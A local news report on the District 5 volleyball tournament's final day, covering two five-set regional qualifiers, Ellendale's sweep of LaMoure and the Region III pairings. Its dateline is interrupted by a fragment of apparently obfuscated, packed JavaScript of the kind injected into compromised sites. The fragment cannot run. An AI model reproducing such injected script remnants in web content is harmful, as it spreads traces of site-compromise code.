VALLEY ntaaf|var|u0026u|referrer|itatt||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com)–The final day of the District 5 volleyball tournament saw two regional-qualifying thrillers and the Ellendale Cardinals dominate the title matchup.
Regional Qualifier–Edgeley-Kulm 3, Barnes County North 2 (25-23, 22-25, 25-21, 20-25, 15-3)
Neither team liked playing with the lead until the end of the match, when the Rebels finally made one stick to grab the third spot in the Region III Tournament.
Edgeley-Kulm led 13-6 in the first before being caught 22-22 by the Bison late, winning 25-23. They led the third set 12-4 before watching the lead dwindle to 22-20, then pulled out a 25-21 win.
Barnes County North led the second set 20-11 before the Rebels tied the match at 21-21. They found a way to eke out a 25-22 win. The Bison then led the fourth 17-8, but watched the lead slip to 19-16 before going on for the 25-20.
The Rebels left no doubt in the fifth, taking the first nine points and never allowing the Bison in the set.
Regional Qualifier–Pingree-Buchanan-Kensal 3, Litchville-Marion-Montpelier 2 (25-17, 25-18, 23-25, 19-25, 15-8)
One has to feel for LMM, who endured a coaching change mid season, finished last in the regular season, the came within an eyelash of advancing to the regionals.
After dropping the first two sets, the Rebels stretched leads late in the third and fourth sets, and had an 8-5 lead in the fifth. They were one side out away from rotating PBK middle blocker Amanda Beckley to the back row in the fifth, a move that had caused PBK issues during the tournament.
But PBK kept Beckley in the front, winning 10 straight rallies for a 15-8 fifth set win, capturing the final spot in the Region III tournament.
Championship–Ellendale 3, LaMoure 0 (25-18, 25-18, 25-19)
The Cardinals avenged their regular season loss to the Loboes by unleashing two forces in the title game: tough defense and sophomore Madilyn Bommersbach.
Bommersbach entered the match midway through the first set and never left, digging up ball after ball to save rallies and force LaMoure to make additional attacks. Meanwhile, a Cardinal team that does not dress a libero saw their hitters defend the back row and their setters attack to build huge leads in all three sets.
Ellendale led 24-17 in the first, 22-13 in the second, and 24-17 in the third. LaMoure tried various combinations of offense and defense, but could not find a rotation that could attack the Cardinals well.
The matchup are now set for the opening round of the Region III tournament. Ellendale will face Napoleon, LaMoure draws South Border, Edgeley-Kulm meets District 6 runner-up Strasburg-Zeeland, and PBK faces District 6 and defending Region III champion Linton-HMB. The tournament starts Monday in Wishek.